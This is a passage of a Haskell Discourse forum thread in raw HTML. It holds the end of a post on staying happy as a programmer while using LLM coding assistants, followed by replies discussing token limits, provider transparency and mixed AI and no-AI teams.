them in a given session. Everything that you can do with a smaller model is a safer bet.&lt;/li&gt; &lt;li&gt;When your workflow doesn’t need frontier models, you have a chance of eventually being able to replace them by open weight or open source models, and not be dependent on technofeudal lords at all anymore.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;In the end, you’re doing a complex job. In some aspects of it, LLMs may perform the same or maybe even a bit better. But that’s by far not enough to bow down to them, because of all their downsides. LLMs would have to be many times better than a human developer, use less resources, be more reliable in complex real-world situations, be at least as well-aligned, and in some way accountable for their results, to replace human developers at their core activity.&lt;/p&gt; &lt;h2&gt;&lt;a name=&#34;p-58631-no-tokens-left-9&#34; class=&#34;anchor&#34; href=&#34;#p-58631-no-tokens-left-9&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;No tokens left?&lt;/h2&gt; &lt;p&gt;Maybe you’ve experienced your work coming to a standstill because you’ve run out of tokens. It’s annoying. Your workflow is now built around a tool that you suddenly have no access to any more. In the extreme case, you can’t go on doing anything. &lt;a href=&#34;https://xkcd.com/303/&#34; rel=&#34;noopener nofollow ugc&#34;&gt;Take this xkcd and imagine “no tokens” instead of “compiling” for a healthy way to process that situation.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;If this happens a few times, you might have had the feeling you’ve been betrayed. And you’re right. You have been. How many tokens you have in a given session on a particular plan is an intransparent number at the whim of some big techno feudal lord. It’s not like a commodity you buy on a fair market and then use in a plannable way.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;You need to stop perceiving the depletion of your tokens as “having bought too few”, and start treating it as what it is: A service outage.&lt;/strong&gt; Your LLM company has sold you the promise that you could use the LLM, and they don’t keep it up. The number of maximum tokens in your session may change without you knowing or being able to influence it, so you can’t really plan for it either.&lt;/p&gt; &lt;p&gt;Of course saving on tokens is imperative. Re-evaluate your agent setups, your usage, your context sizes, your skills, and so on, to save on tokens. But even if you do, and even if you’ve bought a larger seat, it may not be enough.&lt;/p&gt; &lt;p&gt;And instead of seeing it as “your fault” when you run out after you’ve done everything to use tokens sparingly, see it as a technical fault that you need to be prepared for. When you’ve ever have worked a lot on a train or plane, you know that you have to be prepared for not having internet all the time. Download and cache big assets beforehand. Always have some work to do that you can do offline.&lt;/p&gt; &lt;p&gt;For LLM assisted work, this means that you have to make it produce tangible artefacts for everything that you need to work on. Most importantly, if you adapt to the human coder workflow I’ve outlined, make sure that you always have a planned list of todos you can work on. Have fun racing through them, and when your agent is back, tell them to do the cleaning.&lt;/p&gt; &lt;h1&gt;&lt;a name=&#34;p-58631-llm-gibberish-10&#34; class=&#34;anchor&#34; href=&#34;#p-58631-llm-gibberish-10&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;LLM gibberish&lt;/h1&gt; &lt;p&gt;LLM produced text is unlike human text. It gets bad in particular when the LLM actually doesn’t really know what it’s talking about. &lt;strong&gt;Treat LLM gibberish as potentially harmful for your psychic health.&lt;/strong&gt; Don’t consume to much of it. Keep talking to people about your code, especially about greater visions and interesting aspects. Only read LLM artefacts after automated review agents took the edges off.&lt;/p&gt; &lt;p&gt;When your head is spinning, take a break. Yes, even if no agent is currently running in the background and “producing value”. Your mental health is more important than your work output.&lt;/p&gt; &lt;h2&gt;&lt;a name=&#34;p-58631-your-fellow-humans-11&#34; class=&#34;anchor&#34; href=&#34;#p-58631-your-fellow-humans-11&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;Your fellow humans&lt;/h2&gt; &lt;p&gt;Programming is, by large, a social endeavour. For example, in a company or an open source project, we send each other pull requests, write issues and commit messages. This is a form of communication. Even if you’re the only one on your project, your past self writes issues, commit messages and PRs for you future self. Communication between humans is the pillar of software development.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Make sure you always meet people human-first.&lt;/strong&gt; Don’t send a completely generated PR to someone. I’ve done this by accident, the other end was rightfully fed up. I’m making sure not to repeat this mistake.&lt;/p&gt; &lt;p&gt;Agents will readily offer you to write a complete PR body in grammatically correct language, with all the details in there. &lt;strong&gt;This is not communication. It’s a tool output.&lt;/strong&gt; Treat such texts the same way like benchmarking numbers or debug traces: Append them to your handwritten PR body, possibly in a &lt;code&gt;&amp;lt;details&amp;gt;&lt;/code&gt;, so people can decide themselves whether they want to read it or not. You’ll find that more often they will not.&lt;/p&gt; &lt;h1&gt;&lt;a name=&#34;p-58631-my-journey-12&#34; class=&#34;anchor&#34; href=&#34;#p-58631-my-journey-12&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;My journey&lt;/h1&gt; &lt;p&gt;With all this, I’m more productive than without LLM assistance. It’s difficult to tell exactly, maybe twice as fast? This is less than many full vibe coders will boast with, but that’s ok. I picture myself as a gardener adopting some gentle organic fertilisers, while vibe coders are more like drowning their fields in industrial chemicals. I believe that my way is the more sustainable for now.&lt;/p&gt; &lt;p&gt;I love programming Haskell, and doing it for a living is my dream job. In the last month I was worried that this dream was now a thing of the past. But all what I wrote about here is what I learned in order to keep this activity enjoyable. It seems to work.&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;30&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;30 Likes&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_2&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/enobayram&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;enobayram&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/enobayram&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-19T04:28:32Z&#39; class=&#39;post-time&#39;&gt; September 19, 2026, 4:28am &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-19T04:28:32Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;2&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;blockquote&gt; &lt;p&gt;Treat LLM gibberish as potentially harmful for your psychic health.&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;I second this. When you’re using an LLM as an assistant and still trying to stay on top of the code, it’s very easy to slip into habits that will involve you reading mountains of LLM gibberish as you try to make it do something reasonable. I’ve also noticed that this is very bad for my brain at a very physiological level and the effects are immediately painful when you do it a lot in a given day. And the effects linger around too.&lt;/p&gt; &lt;p&gt;I wish we already had the benefit of the future neurological studies over the effects of this, I hope we’re not exposing ourselves to the brain’s asbestos.&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;9&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;9 Likes&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_3&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/hasufell&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;hasufell&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/hasufell&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-19T04:35:57Z&#39; class=&#39;post-time&#39;&gt; September 19, 2026, 4:35am &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-19T04:35:57Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;3&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;p&gt;Thank you for sharing your journey!&lt;/p&gt; &lt;p&gt;What I hope is that at least in industry we can get to a point where employers realize it may be benefical to hire engineers with different “AI using patterns” and have them collaborate on a team. That can be quite challenging (e.g. for strict “no AI” users), but I think there are ways to make it happen. Different parts of a system (or different roles) may require different approaches, but it may be hard to negotiate the boundaries: e.g. I would rather have non-AI users do the code reviews, but that would still require some serious policy work (e.g. no autogenerated commit messages?) to not burn them out.&lt;/p&gt; &lt;p&gt;In open source, I increasingly see it like &lt;a class=&#34;mention&#34; href=&#34;/u/chrisdone&#34;&gt;@chrisdone&lt;/a&gt; …we’re heading &lt;a href=&#34;https://sourcehut.org/blog/2026-08-27-tos-changes-and-llms/#changes&#34;&gt;towards&lt;/a&gt; a &lt;a href=&#34;https://blog.codeberg.org/protecting-our-floss-commons-from-llms.html&#34;&gt;split&lt;/a&gt; and I think that’s fine.&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;7&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;7 Likes&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_4&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/Ambrose&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;Ambrose&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/Ambrose&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-19T04:46:52Z&#39; class=&#39;post-time&#39;&gt; September 19, 2026, 4:46am &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-19T04:46:52Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;4&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;p&gt;whoa i had heard about codeberg, but i didn’t know sourcehut was based too&lt;/p&gt; &lt;p&gt;also related to your thought about hiring. i’ve wondered if nowadays just being in charge of a company and decreeing “all LLM coding is banned” would be a good policy. Feels like a solid “filter” and tbh idt it will burn you if your business is fundamentally solid anyways. (And if you’re a good engineer who has hired good engineers. This filter will help with that.)&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;3&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;3 Likes&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_5&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/lortabac&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;lortabac&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/lortabac&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-19T05:56:13Z&#39; class=&#39;post-time&#39;&gt; September 19, 2026, 5:56am &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-19T05:56:13Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;5&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;p&gt;Isn’t it already the case at most companies? I personally work in a mixed team and it works quite well. And I tend to alternate between agentic and manual coding myself.&lt;/p&gt; &lt;p&gt;Or do you mean that LLM usage should become more explicit and structured? For example X is a no-AI dev so is more suited for task Y etc…&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;1&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;1 Like&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_6&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/tomjaguarpaw&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;tomjaguarpaw&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/tomjaguarpaw&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-19T07:47:40Z&#39; class=&#39;post-time&#39;&gt; September 19, 2026, 7:47am &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-19T07:47:40Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;6&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;p&gt;Thanks for this considered and thought-provoking article. This is interesting to me because I read the title “How to keep enjoying programming in a world of LLMs” and had the &lt;em&gt;opposite&lt;/em&gt; thought: how could I enjoy programming if I stopped having access to LLMs, now that I’m benefitting from them so much, finding it much easier to put ideas into reality that I’ve never had the capacity to before, and having all grunt work of programming taken off my plate, leaving the fun stuff to me.&lt;/p&gt; &lt;p&gt;It turns out I’ve already been following many of the suggestions in your article!&lt;/p&gt; &lt;aside class=&#34;quote no-group&#34; data-username=&#34;turion&#34; data-post=&#34;1&#34; data-topic=&#34;14705&#34;&gt; &lt;div class=&#34;title&#34;&gt; &lt;div class=&#34;quote-controls&#34;&gt;&lt;/div&gt; &lt;img alt=&#34;&#34; width=&#34;24&#34; height=&#34;24&#34; src=&#34;https://sea2.discourse-cdn.com/flex002/user\_avatar/discourse.haskell.org/turion/48/989\_2.png&#34; class=&#34;avatar&#34;&gt; turion:&lt;/div&gt; &lt;blockquote&gt; &lt;p&gt;you might have had the feeling you’ve been betrayed. And you’re right. You have been. How many tokens you have in a given session on a particular plan is an intransparent number&lt;/p&gt; &lt;/blockquote&gt; &lt;/aside&gt; &lt;p&gt;Betrayed? Are you sure that’s an appropriate word to use here? “Betrayal” is a &lt;em&gt;very&lt;/em&gt; strong accusation. I’m confused because I’m on an OpenAI monthly plan and it comes with well-defined &lt;a href=&#34;https://help.openai.com/en/articles/11481834-chatgpt-rate-card-business-enterpriseedu-credit-based-pricing&#34;&gt;credit costs&lt;/a&gt; and time limits within which credit use limits apply. The structure of the limits changes occasionally but they are transparent and easily visible in Codex by typing &lt;code&gt;/status&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;Maybe some other provider or harness does things less transparently? Or maybe you’re talking limits imposed by whoever pays for your subscription (such as your employer)?&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;2&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;2 Likes&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_7&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/turion&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;turion&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/turion&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-19T08:42:51Z&#39; class=&#39;post-time&#39;&gt; September 19, 2026, 8:42am &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-19T08:42:51Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;7&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;p&gt;I am being a little bit polemic here, but my point here is that you start basing a certain workflow on an LLM plan, and on short notice your workflow is completely disrupted because they have changed the amount of token you get.&lt;/p&gt; &lt;p&gt;Maybe OpenAI is doing this particular aspect less bad than Anthropic, that I don’t know. I’ve not been able to find out how many tokens are in a claude code team seat there are, so I only have to assume it to be an arbitrary number that changes based on what they want it to be.&lt;/p&gt; &lt;p&gt;I’d only consider this a fair market if:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;There was an independent open source tool that can measure the amount of tokens spent&lt;/li&gt; &lt;li&gt;There are plans with an exact number of tokens spent, guaranteeing that number for a longer time period (a few months at least) like a phone contract&lt;/li&gt; &lt;li&gt;Uptime guarantees. LLMs providers have much worse uptime than most other service providers in my experience&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Maybe I’m wrong, but I believe that this is not fulfilled by any provider.&lt;/p&gt; &lt;p&gt;I know that it’s unrealistic to demand this of a fast evolving disruptive technology in late stage capitalism/technofeudalism, but that doesn’t mean I have to find the status quo fair.&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;0&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_8&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/lortabac&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;lortabac&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/lortabac&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-19T10:15:57Z&#39; class=&#39;post-time&#39;&gt; September 19, 2026, 10:15am &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-19T10:15:57Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;8&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;p&gt;FWIW I’ve had a very good experience so far with the DeepSeek API and dsh (the DeepSeek harness). I know exactly how much tokens cost, how many tokens I use and everything the model does, including the reasoning process.&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;0&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_9&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/Kleidukos&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;Kleidukos&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/Kleidukos&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-19T12:17:59Z&#39; class=&#39;post-time&#39;&gt; September 19, 2026, 12:17pm &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-19T12:17:59Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;9&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;aside class=&#34;quote no-group&#34; data-username=&#34;tomjaguarpaw&#34; data-post=&#34;6&#34; data-topic=&#34;14705&#34;&gt; &lt;div class=&#34;title&#34;&gt; &lt;div class=&#34;quote-controls&#34;&gt;&lt;/div&gt; &lt;img alt=&#34;&#34; width=&#34;24&#34; height=&#34;24&#34; src=&#34;https://sea2.discourse-cdn.com/flex002/user\_avatar/discourse.haskell.org/tomjaguarpaw/48/1230\_2.png&#34; class=&#34;avatar&#34;&gt; tomjaguarpaw:&lt;/div&gt; &lt;blockquote&gt; &lt;p&gt;how could I enjoy programming if I stopped having access to LLMs, now that I’m benefitting from them so much, finding it much easier to put ideas into reality that I’ve never had the capacity to before, and having all grunt work of programming taken off my plate, leaving the fun stuff to me.&lt;/p&gt; &lt;/blockquote&gt; &lt;/aside&gt; &lt;p&gt;How would you rate your experience in using LLMs with tasks such as &lt;a href=&#34;https://github.com/haskell/core-libraries-committee/issues/411&#34;&gt;package maintenance&lt;/a&gt;?&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;1&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;1 Like&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_10&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/tomjaguarpaw&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;tomjaguarpaw&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/tomjaguarpaw&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-19T13:26:34Z&#39; class=&#39;post-time&#39;&gt; September 19, 2026, 1:26pm &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-19T13:29:29Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;10&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;aside class=&#34;quote no-group&#34; data-username=&#34;Kleidukos&#34; data-post=&#34;9&#34; data-topic=&#34;14705&#34;&gt; &lt;div class=&#34;title&#34;&gt; &lt;div class=&#34;quote-controls&#34;&gt;&lt;/div&gt; &lt;img alt=&#34;&#34; width=&#34;24&#34; height=&#34;24&#34; src=&#34;https://sea2.discourse-cdn.com/flex002/user\_avatar/discourse.haskell.org/kleidukos/48/1213\_2.png&#34; class=&#34;avatar&#34;&gt; Kleidukos:&lt;/div&gt; &lt;blockquote&gt; &lt;p&gt;How would you rate your experience in using LLMs with tasks such as &lt;a href=&#34;https://github.com/haskell/core-libraries-committee/issues/411&#34;&gt;package maintenance&lt;/a&gt;?&lt;/p&gt; &lt;/blockquote&gt; &lt;/aside&gt; &lt;p&gt;Happy to share my thoughts, but maybe you could first explain why you linked to that post in particular? Is there some implication I should take into account in my response?&lt;/p&gt; &lt;aside class=&#34;quote no-group&#34; data-username=&#34;turion&#34; data-post=&#34;7&#34; data-topic=&#34;14705&#34;&gt; &lt;div class=&#34;title&#34;&gt; &lt;div class=&#34;quote-controls&#34;&gt;&lt;/div&gt; &lt;img alt=&#34;&#34; width=&#34;24&#34; height=&#34;24&#34; src=&#34;https://sea2.discourse-cdn.com/flex002/user\_avatar/discourse.haskell.org/turion/48/989\_2.png&#34; class=&#34;avatar&#34;&gt; turion:&lt;/div&gt; &lt;blockquote&gt; &lt;p&gt;my point here is that you start basing a certain workflow on an LLM plan, and on short notice your workflow is completely disrupted because they have changed the amount of token you get&lt;/p&gt; &lt;/blockquote&gt; &lt;/aside&gt; &lt;p&gt;That sounds difficult, if it’s something you weren’t aware of when you started paying them. However, I struggle to reconcile “Are you steering towards AI burnout?” etc. with “we don’t get as much AI as we want”. It seems like there’s a contradiction there! It reminds me of Woody Allen: “The food here’s terrible” – “Yes, and such small portions”.&lt;/p&gt; &lt;/div&gt; &lt;div itemprop=&#34;interactionStatistic&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/InteractionCounter&#34;&gt; &lt;meta itemprop=&#34;interactionType&#34; content=&#34;http://schema.org/LikeAction&#34;/&gt; &lt;meta itemprop=&#34;userInteractionCount&#34; content=&#34;0&#34; /&gt; &lt;span class=&#39;post-likes&#39;&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_11&#39; itemprop=&#34;comment&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Comment&#34; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/hasufell&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;hasufell&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/hasufell&#39;&gt; &lt;/span&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time itemprop=&#34;datePublished&#34; datetime=&#39;2026-09-19T14:32:57Z&#39; class=&#39;post-time&#39;&gt; September 19, 2026, 2:32pm &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-19T14:32:57Z&#39;&gt; &lt;span 